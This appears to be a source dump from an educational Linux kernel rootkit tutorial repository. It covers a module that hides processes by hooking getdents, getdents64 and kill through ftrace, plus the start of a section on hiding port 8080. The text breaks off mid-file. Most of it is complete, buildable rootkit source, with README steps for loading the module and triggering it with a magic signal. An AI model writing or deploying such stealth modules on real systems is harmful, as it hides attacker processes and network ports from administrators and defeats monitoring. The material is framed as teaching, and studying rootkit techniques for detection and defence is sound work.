377 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.5_hiding_processes/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.5_hiding_processes/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3.5: Hiding processes 4 | 5 | This module simply combines the syscall hooks for `sys_kill` from [Section 3.2](../3.2_kill_signalling) and `sys_getdents64` from [Section 3.4](../3.4_hiding_directories). The idea is that, when we intercept a signal `64` being sent to a `pid`, we store the pid in a global variable so the `sys_getdents64` hook can see it. Then, we simply hide any file/directory with a name that matches that pid. 6 | 7 | > Note: In theory, someone might have a file/folder that happens to match that of a current pid on their system, that also happens to be the pid that we want to hide. The chances of this are slim, but I guess not impossible. 8 | 9 | Almost all linux tools (including portions of the kernel!) use the contents of `/proc/` to lookup pids and any information associated to them. By virtue of "everything being a file" in linux, by hiding directory entries that match our pid's numerical value, we effectively hide the entire process from the operating system! 10 | 11 | > Note: In the interest of avoiding clutter, I removed all the comments from the syscall hooks, and added a few comments relevant to hiding processes. For better explanations of what the syscall hooks are doing, line by line, see their sections linked in the top paragraph. 12 | 13 | To use: 14 | * Build with `make` 15 | * Load with `insmod rootkit.ko` 16 | * Get a list of running processes, e.g. `ps`, and pick a pid from the list 17 | * Send signal `64` to the pid you chose, e.g. `kill -64 999` 18 | * Check the output of `ps` again and see that your pid is missing! 19 | * Unload with `rmmod rootkit` 20 | 21 | > Note: Currently, only a single pid at a time can be hidden! Trying to hide another pid will work fine, but it will reveal the first one! 22 | 23 | > Inspired, in part, by the [Diamorphine](https://github.com/m0nad/Diamorphine) repo. 24 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Helper library for ftrace hooking kernel functions 3 | * Author: Harvey Phillips (xcellerator@gmx.com) 4 | * License: GPL 5 | * */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 14 | #define PTREGS_SYSCALL_STUBS 1 15 | #endif 16 | 17 | /* 18 | * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, 19 | * so we have to use kprobes to get the address. 20 | * Full credit to @f0lg0 for the idea. 21 | */ 22 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) 23 | #define KPROBE_LOOKUP 1 24 | #include 25 | static struct kprobe kp = { 26 | .symbol_name = "kallsyms_lookup_name" 27 | }; 28 | #endif 29 | 30 | #define HOOK(_name, _hook, _orig) \ 31 | { \ 32 | .name = (_name), \ 33 | .function = (_hook), \ 34 | .original = (_orig), \ 35 | } 36 | 37 | /* We need to prevent recursive loops when hooking, otherwise the kernel will 38 | * panic and hang. The options are to either detect recursion by looking at 39 | * the function return address, or by jumping over the ftrace call. We use the 40 | * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by 41 | * setting it to 1. (Oridinarily ftrace provides it's own protections against 42 | * recursion, but it relies on saving return registers in $rip. We will likely 43 | * need the use of the $rip register in our hook, so we have to disable this 44 | * protection and implement our own). 45 | * */ 46 | #define USE_FENTRY_OFFSET 0 47 | #if !USE_FENTRY_OFFSET 48 | #pragma GCC optimize("-fno-optimize-sibling-calls") 49 | #endif 50 | 51 | /* We pack all the information we need (name, hooking function, original function) 52 | * into this struct. This makes is easier for setting up the hook and just passing 53 | * the entire struct off to fh_install_hook() later on. 54 | * */ 55 | struct ftrace_hook { 56 | const char *name; 57 | void *function; 58 | void *original; 59 | 60 | unsigned long address; 61 | struct ftrace_ops ops; 62 | }; 63 | 64 | /* Ftrace needs to know the address of the original function that we 65 | * are going to hook. As before, we just use kallsyms_lookup_name() 66 | * to find the address in kernel memory. 67 | * */ 68 | static int fh_resolve_hook_address(struct ftrace_hook *hook) 69 | { 70 | #ifdef KPROBE_LOOKUP 71 | typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 72 | kallsyms_lookup_name_t kallsyms_lookup_name; 73 | register_kprobe(&kp); 74 | kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; 75 | unregister_kprobe(&kp); 76 | #endif 77 | hook->address = kallsyms_lookup_name(hook->name); 78 | 79 | if (!hook->address) 80 | { 81 | printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); 82 | return -ENOENT; 83 | } 84 | 85 | #if USE_FENTRY_OFFSET 86 | *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; 87 | #else 88 | *((unsigned long*) hook->original) = hook->address; 89 | #endif 90 | 91 | return 0; 92 | } 93 | 94 | /* See comment below within fh_install_hook() */ 95 | static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) 96 | { 97 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 98 | 99 | #if USE_FENTRY_OFFSET 100 | regs->ip = (unsigned long) hook->function; 101 | #else 102 | if(!within_module(parent_ip, THIS_MODULE)) 103 | regs->ip = (unsigned long) hook->function; 104 | #endif 105 | } 106 | 107 | /* Assuming we've already set hook->name, hook->function and hook->original, we 108 | * can go ahead and install the hook with ftrace. This is done by setting the 109 | * ops field of hook (see the comment below for more details), and then using 110 | * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions 111 | * provided by ftrace.h 112 | * */ 113 | int fh_install_hook(struct ftrace_hook *hook) 114 | { 115 | int err; 116 | err = fh_resolve_hook_address(hook); 117 | if(err) 118 | return err; 119 | 120 | /* For many of function hooks (especially non-trivial ones), the $rip 121 | * register gets modified, so we have to alert ftrace to this fact. This 122 | * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also 123 | * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because 124 | * the built-in anti-recursion guard provided by ftrace is useless if 125 | * we're modifying $rip. This is why we have to implement our own checks 126 | * (see USE_FENTRY_OFFSET). */ 127 | hook->ops.func = fh_ftrace_thunk; 128 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 129 | | FTRACE_OPS_FL_RECURSION_SAFE 130 | | FTRACE_OPS_FL_IPMODIFY; 131 | 132 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); 133 | if(err) 134 | { 135 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 136 | return err; 137 | } 138 | 139 | err = register_ftrace_function(&hook->ops); 140 | if(err) 141 | { 142 | printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); 143 | return err; 144 | } 145 | 146 | return 0; 147 | } 148 | 149 | /* Disabling our function hook is just a simple matter of calling the built-in 150 | * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the 151 | * opposite order to that in fh_install_hook()). 152 | * */ 153 | void fh_remove_hook(struct ftrace_hook *hook) 154 | { 155 | int err; 156 | err = unregister_ftrace_function(&hook->ops); 157 | if(err) 158 | { 159 | printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); 160 | } 161 | 162 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 163 | if(err) 164 | { 165 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 166 | } 167 | } 168 | 169 | /* To make it easier to hook multiple functions in one module, this provides 170 | * a simple loop over an array of ftrace_hook struct 171 | * */ 172 | int fh_install_hooks(struct ftrace_hook *hooks, size_t count) 173 | { 174 | int err; 175 | size_t i; 176 | 177 | for (i = 0 ; i < count ; i++) 178 | { 179 | err = fh_install_hook(&hooks[i]); 180 | if(err) 181 | goto error; 182 | } 183 | return 0; 184 | 185 | error: 186 | while (i != 0) 187 | { 188 | fh_remove_hook(&hooks[--i]); 189 | } 190 | return err; 191 | } 192 | 193 | void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) 194 | { 195 | size_t i; 196 | 197 | for (i = 0 ; i < count ; i++) 198 | fh_remove_hook(&hooks[i]); 199 | } 200 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.5_hiding_processes/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "ftrace_helper.h" 10 | 11 | MODULE_LICENSE("GPL"); 12 | MODULE_AUTHOR("TheXcellerator"); 13 | MODULE_DESCRIPTION("Hiding files that start with a certain prefix"); 14 | MODULE_VERSION("0.02"); 15 | 16 | /* After Kernel 4.17.0, the way that syscalls are handled changed 17 | * to use the pt_regs struct instead of the more familar function 18 | * prototype declaration. We have to check for this, and set a 19 | * variable for later on */ 20 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 21 | #define PTREGS_SYSCALL_STUBS 1 22 | #endif 23 | 24 | /* Global variable to store the pid that we are going to hide */ 25 | char hide_pid[NAME_MAX]; 26 | 27 | /* We now have to check for the PTREGS_SYSCALL_STUBS flag and 28 | * declare the orig_getdents64 and hook_getdents64 functions differently 29 | * depending on the kernel version. This is the larget barrier to 30 | * getting the rootkit to work on earlier kernel versions. The 31 | * more modern way is to use the pt_regs struct. */ 32 | #ifdef PTREGS_SYSCALL_STUBS 33 | static asmlinkage long (*orig_getdents64)(const struct pt_regs *); 34 | static asmlinkage long (*orig_getdents)(const struct pt_regs *); 35 | static asmlinkage long (*orig_kill)(const struct pt_regs *); 36 | 37 | /* This is our hooked function for sys_getdents64 */ 38 | asmlinkage int hook_getdents64(const struct pt_regs *regs) 39 | { 40 | /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ 41 | // int fd = regs->di; 42 | struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; 43 | // int count = regs->dx; 44 | 45 | long error; 46 | 47 | /* We will need these intermediate structures for looping through the directory listing */ 48 | struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; 49 | unsigned long offset = 0; 50 | 51 | /* We first have to actually call the real sys_getdents64 syscall and save it so that we can 52 | * examine it's contents to remove anything that is prefixed by hide_pid. 53 | * We also allocate dir_entry with the same amount of memory as */ 54 | int ret = orig_getdents64(regs); 55 | dirent_ker = kzalloc(ret, GFP_KERNEL); 56 | 57 | if ( (ret <= 0) || (dirent_ker == NULL) ) 58 | return ret; 59 | 60 | /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 61 | * dirent_ker is our copy of the returned dirent struct that we can play with */ 62 | error = copy_from_user(dirent_ker, dirent, ret); 63 | if (error) 64 | goto done; 65 | 66 | /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ 67 | while (offset < ret) 68 | { 69 | /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ 70 | current_dir = (void *)dirent_ker + offset; 71 | 72 | /* Compare current_dir->d_name to hide_pid - we also have to check that hide_pid isn't empty! */ 73 | if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) 74 | { 75 | /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ 76 | if ( current_dir == dirent_ker ) 77 | { 78 | ret -= current_dir->d_reclen; 79 | memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); 80 | continue; 81 | } 82 | /* This is the crucial step: we add the length of the current directory to that of the 83 | * previous one. This means that when the directory structure is looped over to print/search 84 | * the contents, the current directory is subsumed into that of whatever preceeds it. */ 85 | previous_dir->d_reclen += current_dir->d_reclen; 86 | } 87 | else 88 | { 89 | /* If we end up here, then we didn't find hide_pid in current_dir->d_name 90 | * We set previous_dir to the current_dir before moving on and incrementing 91 | * current_dir at the start of the loop */ 92 | previous_dir = current_dir; 93 | } 94 | 95 | /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole 96 | * directory listing */ 97 | offset += current_dir->d_reclen; 98 | } 99 | 100 | /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. 101 | * Note that dirent is already in the right place in memory to be referenced by the integer 102 | * ret. */ 103 | error = copy_to_user(dirent, dirent_ker, ret); 104 | if (error) 105 | goto done; 106 | 107 | done: 108 | /* Clean up and return whatever is left of the directory listing to the user */ 109 | kfree(dirent_ker); 110 | return ret; 111 | 112 | } 113 | 114 | /* This is our hook for sys_getdetdents */ 115 | asmlinkage int hook_getdents(const struct pt_regs *regs) 116 | { 117 | /* The linux_dirent struct got removed from the kernel headers so we have to 118 | * declare it ourselves */ 119 | struct linux_dirent { 120 | unsigned long d_ino; 121 | unsigned long d_off; 122 | unsigned short d_reclen; 123 | char d_name[]; 124 | }; 125 | 126 | /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ 127 | // int fd = regs->di; 128 | struct linux_dirent *dirent = (struct linux_dirent *)regs->si; 129 | // int count = regs->dx; 130 | 131 | long error; 132 | 133 | /* We will need these intermediate structures for looping through the directory listing */ 134 | struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; 135 | unsigned long offset = 0; 136 | 137 | /* We first have to actually call the real sys_getdents syscall and save it so that we can 138 | * examine it's contents to remove anything that is prefixed by hide_pid. 139 | * We also allocate dir_entry with the same amount of memory as */ 140 | int ret = orig_getdents(regs); 141 | dirent_ker = kzalloc(ret, GFP_KERNEL); 142 | 143 | if ( (ret <= 0) || (dirent_ker == NULL) ) 144 | return ret; 145 | 146 | /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace 147 | * dirent_ker is our copy of the returned dirent struct that we can play with */ 148 | error = copy_from_user(dirent_ker, dirent, ret); 149 | if (error) 150 | goto done; 151 | 152 | /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ 153 | while (offset < ret) 154 | { 155 | /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ 156 | current_dir = (void *)dirent_ker + offset; 157 | 158 | /* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */ 159 | if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) 160 | { 161 | /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ 162 | if ( current_dir == dirent_ker ) 163 | { 164 | ret -= current_dir->d_reclen; 165 | memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); 166 | continue; 167 | } 168 | /* This is the crucial step: we add the length of the current directory to that of the 169 | * previous one. This means that when the directory structure is looped over to print/search 170 | * the contents, the current directory is subsumed into that of whatever preceeds it. */ 171 | previous_dir->d_reclen += current_dir->d_reclen; 172 | } 173 | else 174 | { 175 | /* If we end up here, then we didn't find hide_pid in current_dir->d_name 176 | * We set previous_dir to the current_dir before moving on and incrementing 177 | * current_dir at the start of the loop */ 178 | previous_dir = current_dir; 179 | } 180 | 181 | /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole 182 | * directory listing */ 183 | offset += current_dir->d_reclen; 184 | } 185 | 186 | /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. 187 | * Note that dirent is already in the right place in memory to be referenced by the integer 188 | * ret. */ 189 | error = copy_to_user(dirent, dirent_ker, ret); 190 | if (error) 191 | goto done; 192 | 193 | done: 194 | /* Clean up and return whatever is left of the directory listing to the user */ 195 | kfree(dirent_ker); 196 | return ret; 197 | 198 | } 199 | 200 | /* This is our hooked function for sys_kill */ 201 | asmlinkage int hook_kill(const struct pt_regs *regs) 202 | { 203 | pid_t pid = regs->di; 204 | int sig = regs->si; 205 | 206 | if ( sig == 64 ) 207 | { 208 | /* If we receive the magic signal, then we just sprintf the pid 209 | * from the intercepted arguments into the hide_pid string */ 210 | printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid); 211 | sprintf(hide_pid, "%d", pid); 212 | return 0; 213 | } 214 | 215 | return orig_kill(regs); 216 | } 217 | #else 218 | static asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count); 219 | static asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent *dirent, unsigned int count); 220 | static asmlinkage long (*orig_kill)(pid_t pid, int sig); 221 | 222 | static asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count) 223 | { 224 | /* We will need these intermediate structures for looping through the directory listing */ 225 | struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; 226 | unsigned long offset = 0; 227 | 228 | /* We first have to actually call the real sys_getdents64 syscall and save it so that we can 229 | * examine it's contents to remove anything that is prefixed by hide_pid. 230 | * We also allocate dir_entry with the same amount of memory as */ 231 | int ret = orig_getdents64(fd, dirent, count); 232 | dirent_ker = kzalloc(ret, GFP_KERNEL); 233 | 234 | if ( (ret <= 0) || (dirent_ker == NULL) ) 235 | return ret; 236 | 237 | /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 238 | * dirent_ker is our copy of the returned dirent struct that we can play with */ 239 | long error; 240 | error = copy_from_user(dirent_ker, dirent, ret); 241 | if (error) 242 | goto done; 243 | 244 | /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ 245 | while (offset < ret) 246 | { 247 | /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ 248 | current_dir = (void *)dirent_ker + offset; 249 | 250 | /* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */ 251 | if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) 252 | { 253 | /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ 254 | if ( current_dir == dirent_ker ) 255 | { 256 | ret -= current_dir->d_reclen; 257 | memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); 258 | continue; 259 | } 260 | /* This is the crucial step: we add the length of the current directory to that of the 261 | * previous one. This means that when the directory structure is looped over to print/search 262 | * the contents, the current directory is subsumed into that of whatever preceeds it. */ 263 | previous_dir->d_reclen += current_dir->d_reclen; 264 | } 265 | else 266 | { 267 | /* If we end up here, then we didn't find hide_pid in current_dir->d_name 268 | * We set previous_dir to the current_dir before moving on and incrementing 269 | * current_dir at the start of the loop */ 270 | previous_dir = current_dir; 271 | } 272 | 273 | /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole 274 | * directory listing */ 275 | offset += current_dir->d_reclen; 276 | } 277 | 278 | /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. 279 | * Note that dirent is already in the right place in memory to be referenced by the integer 280 | * ret. */ 281 | error = copy_to_user(dirent, dirent_ker, ret); 282 | if (error) 283 | goto done; 284 | 285 | done: 286 | /* Clean up and return whatever is left of the directory listing to the user */ 287 | kfree(dirent_ker); 288 | return ret; 289 | } 290 | 291 | static asmlinkage int hook_getdents(unsigned int fd, struct linux_dirent *dirent, unsigned int count) 292 | { 293 | /* This is an old structure that isn't included in the kernel headers anymore, so we 294 | * have to declare it ourselves */ 295 | struct linux_dirent { 296 | unsigned long d_ino; 297 | unsigned long d_off; 298 | unsigned short d_reclen; 299 | char d_name[]; 300 | }; 301 | /* We will need these intermediate structures for looping through the directory listing */ 302 | struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; 303 | unsigned long offset = 0; 304 | 305 | /* We first have to actually call the real sys_getdents syscall and save it so that we can 306 | * examine it's contents to remove anything that is prefixed by hide_pid. 307 | * We also allocate dir_entry with the same amount of memory as */ 308 | int ret = orig_getdents(fd, dirent, count); 309 | dirent_ker = kzalloc(ret, GFP_KERNEL); 310 | 311 | if ( (ret <= 0) || (dirent_ker == NULL) ) 312 | return ret; 313 | 314 | /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace 315 | * dirent_ker is our copy of the returned dirent struct that we can play with */ 316 | long error; 317 | error = copy_from_user(dirent_ker, dirent, ret); 318 | if (error) 319 | goto done; 320 | 321 | /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ 322 | while (offset < ret) 323 | { 324 | /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ 325 | current_dir = (void *)dirent_ker + offset; 326 | 327 | /* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */ 328 | if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) 329 | { 330 | /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ 331 | if ( current_dir == dirent_ker ) 332 | { 333 | ret -= current_dir->d_reclen; 334 | memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); 335 | continue; 336 | } 337 | /* This is the crucial step: we add the length of the current directory to that of the 338 | * previous one. This means that when the directory structure is looped over to print/search 339 | * the contents, the current directory is subsumed into that of whatever preceeds it. */ 340 | previous_dir->d_reclen += current_dir->d_reclen; 341 | } 342 | else 343 | { 344 | /* If we end up here, then we didn't find hide_pid in current_dir->d_name 345 | * We set previous_dir to the current_dir before moving on and incrementing 346 | * current_dir at the start of the loop */ 347 | previous_dir = current_dir; 348 | } 349 | 350 | /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole 351 | * directory listing */ 352 | offset += current_dir->d_reclen; 353 | } 354 | 355 | /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. 356 | * Note that dirent is already in the right place in memory to be referenced by the integer 357 | * ret. */ 358 | error = copy_to_user(dirent, dirent_ker, ret); 359 | if (error) 360 | goto done; 361 | 362 | done: 363 | /* Clean up and return whatever is left of the directory listing to the user */ 364 | kfree(dirent_ker); 365 | return ret; 366 | } 367 | 368 | asmlinkage int hook_kill(pid_t pid, int sig) 369 | { 370 | if ( sig == 64 ) 371 | { 372 | /* If we receive the magic signal, then we just sprintf the pid 373 | * from the intercepted arguments into the hide_pid string */ 374 | printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid); 375 | sprintf(hide_pid, "%d", pid); 376 | return 0; 377 | } 378 | 379 | return orig_kill(pid, sig); 380 | } 381 | #endif 382 | 383 | /* Declare the struct that ftrace needs to hook the syscall */ 384 | static struct ftrace_hook hooks[] = { 385 | HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64), 386 | HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents), 387 | HOOK("__x64_sys_kill", hook_kill, &orig_kill), 388 | }; 389 | 390 | /* Module initialization function */ 391 | static int __init rootkit_init(void) 392 | { 393 | /* Hook the syscall and print to the kernel buffer */ 394 | int err; 395 | err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); 396 | if(err) 397 | return err; 398 | 399 | printk(KERN_INFO "rootkit: Loaded >:-)\n"); 400 | 401 | return 0; 402 | } 403 | 404 | static void __exit rootkit_exit(void) 405 | { 406 | /* Unhook and restore the syscall and print to the kernel buffer */ 407 | fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); 408 | printk(KERN_INFO "rootkit: Unloaded :-(\n"); 409 | } 410 | 411 | module_init(rootkit_init); 412 | module_exit(rootkit_exit); 413 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.6_hiding_ports/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.6_hiding_ports/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3.6: Hiding open ports (8080) 4 | 5 | > A more in-depth writeup for this technique is available on the blog [here](https://xcellerator.github.io/posts/linux_rootkits_08/) 6 | 7 | Most linux applications that search for local open ports (netstat included) use the `/proc/net/tcp` pseudo-file to do so. In particular, parsing this file is handled by `tcp4_seq_show` in [`net/ipv4/tcp_ipv4.c`](https://github.com/torvalds/linux/blob/a1d21081a60dfb7fddf4a38b66d9cef603b317a9/net/ipv4/tcp_ipv4.c#L2600). By hooking this function, we can choose to hide a particular open port from userspace. 8 | 9 | As far as the function hooking goes, it's quite simple. We give a function declaration for the original `tcp4_seq_show()`, then we define the function `hook_tcp4_seq_show()`. This hook simply checks to see if the local port number given by `sk->sk_num` is 8080 (`0x1f90` in hex), and if so it just returns `0`. Otherwise, we go ahead and pass the given arguments to the real `tcp4_seq_show()`. 10 | 11 | Note that because we aren't hooking a syscall this time, we don't have to worry about `pt_regs` because the arguments are passed on the stack rather than in registers! 12 | 13 | To use: 14 | * Build with `make` 15 | * Load with `insmod rootkit.ko` 16 | * In another terminal, create a netcat listener on port 8080 with `nc -lvnp 8080` 17 | * Check all the open local ports with `netstat -tunelp` 18 | * Observe that port 8080 is *not* listed! 19 | * Unload with `rmmod rootkit` 20 | * Check the output of `netstat -tunelp` again and see that port 8080 now shows up! 21 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Helper library for ftrace hooking kernel functions 3 | * Author: Harvey Phillips (xcellerator@gmx.com) 4 | * License: GPL 5 | * */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 14 | #define PTREGS_SYSCALL_STUBS 1 15 | #endif 16 | 17 | /* 18 | * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, 19 | * so we have to use kprobes to get the address. 20 | * Full credit to @f0lg0 for the idea. 21 | */ 22 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) 23 | #define KPROBE_LOOKUP 1 24 | #include 25 | static struct kprobe kp = { 26 | .symbol_name = "kallsyms_lookup_name" 27 | }; 28 | #endif 29 | 30 | #define HOOK(_name, _hook, _orig) \ 31 | { \ 32 | .name = (_name), \ 33 | .function = (_hook), \ 34 | .original = (_orig), \ 35 | } 36 | 37 | /* We need to prevent recursive loops when hooking, otherwise the kernel will 38 | * panic and hang. The options are to either detect recursion by looking at 39 | * the function return address, or by jumping over the ftrace call. We use the 40 | * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by 41 | * setting it to 1. (Oridinarily ftrace provides it's own protections against 42 | * recursion, but it relies on saving return registers in $rip. We will likely 43 | * need the use of the $rip register in our hook, so we have to disable this 44 | * protection and implement our own). 45 | * */ 46 | #define USE_FENTRY_OFFSET 0 47 | #if !USE_FENTRY_OFFSET 48 | #pragma GCC optimize("-fno-optimize-sibling-calls") 49 | #endif 50 | 51 | /* We pack all the information we need (name, hooking function, original function) 52 | * into this struct. This makes is easier for setting up the hook and just passing 53 | * the entire struct off to fh_install_hook() later on. 54 | * */ 55 | struct ftrace_hook { 56 | const char *name; 57 | void *function; 58 | void *original; 59 | 60 | unsigned long address; 61 | struct ftrace_ops ops; 62 | }; 63 | 64 | /* Ftrace needs to know the address of the original function that we 65 | * are going to hook. As before, we just use kallsyms_lookup_name() 66 | * to find the address in kernel memory. 67 | * */ 68 | static int fh_resolve_hook_address(struct ftrace_hook *hook) 69 | { 70 | #ifdef KPROBE_LOOKUP 71 | typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 72 | kallsyms_lookup_name_t kallsyms_lookup_name; 73 | register_kprobe(&kp); 74 | kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; 75 | unregister_kprobe(&kp); 76 | #endif 77 | hook->address = kallsyms_lookup_name(hook->name); 78 | 79 | if (!hook->address) 80 | { 81 | printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); 82 | return -ENOENT; 83 | } 84 | 85 | #if USE_FENTRY_OFFSET 86 | *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; 87 | #else 88 | *((unsigned long*) hook->original) = hook->address; 89 | #endif 90 | 91 | return 0; 92 | } 93 | 94 | /* See comment below within fh_install_hook() */ 95 | static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) 96 | { 97 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 98 | 99 | #if USE_FENTRY_OFFSET 100 | regs->ip = (unsigned long) hook->function; 101 | #else 102 | if(!within_module(parent_ip, THIS_MODULE)) 103 | regs->ip = (unsigned long) hook->function; 104 | #endif 105 | } 106 | 107 | /* Assuming we've already set hook->name, hook->function and hook->original, we 108 | * can go ahead and install the hook with ftrace. This is done by setting the 109 | * ops field of hook (see the comment below for more details), and then using 110 | * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions 111 | * provided by ftrace.h 112 | * */ 113 | int fh_install_hook(struct ftrace_hook *hook) 114 | { 115 | int err; 116 | err = fh_resolve_hook_address(hook); 117 | if(err) 118 | return err; 119 | 120 | /* For many of function hooks (especially non-trivial ones), the $rip 121 | * register gets modified, so we have to alert ftrace to this fact. This 122 | * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also 123 | * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because 124 | * the built-in anti-recursion guard provided by ftrace is useless if 125 | * we're modifying $rip. This is why we have to implement our own checks 126 | * (see USE_FENTRY_OFFSET). */ 127 | hook->ops.func = fh_ftrace_thunk; 128 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 129 | | FTRACE_OPS_FL_RECURSION_SAFE 130 | | FTRACE_OPS_FL_IPMODIFY; 131 | 132 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); 133 | if(err) 134 | { 135 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 136 | return err; 137 | } 138 | 139 | err = 